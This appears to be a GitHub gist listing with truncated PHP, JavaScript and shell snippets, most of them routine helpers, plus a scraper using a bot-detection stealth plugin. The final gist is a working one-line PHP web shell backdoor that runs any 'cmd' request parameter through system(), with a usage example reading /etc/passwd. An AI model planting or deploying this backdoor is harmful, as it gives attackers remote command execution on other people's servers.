cd /path/to/repo-name
git checkout --orphan gh-pages
git rm -rf .
echo "My GitHub Page" > index.html
git add .
git commit -a -m "Add index.html"
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
defined('BASEPATH') OR exit('No direct script access allowed'); | |
use ChangeCase\ChangeCase; | |
class Paging { | |
private $ci; | |
private $qb; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Gets the last Sunday of the month for a given date. | |
* | |
* @param string $dateString The input date in 'Y-m-d' format. | |
* @return string The last Sunday of the month in 'Y-m-d' format. | |
*/ | |
function getLastSunday($dateString) | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- Using Google Docs --> | |
<iframe | |
src="https://docs.google.com/gview?embedded=true&url=YOUR-FILE-URL" | |
style="width: 100%; height: 500px" | |
> | |
<p>Your browser is not supported.</p> | |
</iframe> | |
<!-- Using Ms. Office --> | |
<iframe |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Grouping an array by `type` and `bank`, | |
* but when the `amount` is different for the same `name` (people) | |
* it must in another group | |
*/ | |
echo '<pre>'; | |
$array = [ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
defined('BASEPATH') OR exit('No direct script access allowed'); | |
use Symfony\Component\Process\Exception\ProcessFailedException; | |
use Symfony\Component\Process\Process; | |
class Pdf_version_converter | |
{ | |
private $gsPath; | |
private $baseCommand = '%s -sDEVICE=pdfwrite -dCompatibilityLevel=%s -dPDFSETTINGS=/printer -dNOPAUSE -dQUIET -dBATCH -sOutputFile=%s %s'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// @/helpers/ckeditor.js | |
const advanceEditorConfig = { | |
toolbar: { | |
items: [ | |
'heading', '|', 'fontColor', 'highlight', '|', | |
'bold', 'italic', 'underline', 'strikethrough', '|', 'alignment', '|', 'numberedList', | |
'bulletedList', '|', 'indent', 'outdent', '|', 'link', 'insertTable', '|', | |
'pageBreak', '|', 'undo', 'redo' | |
], | |
}, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$count = count($_FILES['files']['name']); | |
$successes = []; | |
$errors = []; | |
for ($i = 0; $i < $count; $i++) { | |
$_FILES['file']['name'] = $_FILES['files']['name'][$i]; | |
$_FILES['file']['type'] = $_FILES['files']['type'][$i]; | |
$_FILES['file']['tmp_name'] = $_FILES['files']['tmp_name'][$i]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const puppeteer = require('puppeteer-extra'); | |
const pluginStealth = require('puppeteer-extra-plugin-stealth'); | |
const fs = require('fs'); | |
const dayjs = require('dayjs'); | |
puppeteer.use(pluginStealth()); | |
// Change default locale to Indonesia | |
require('dayjs/locale/id'); | |
dayjs.locale('id'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- Simple PHP Backdoor By DK (One-Liner Version) --> | |
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd --> | |
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> |
NewerOlder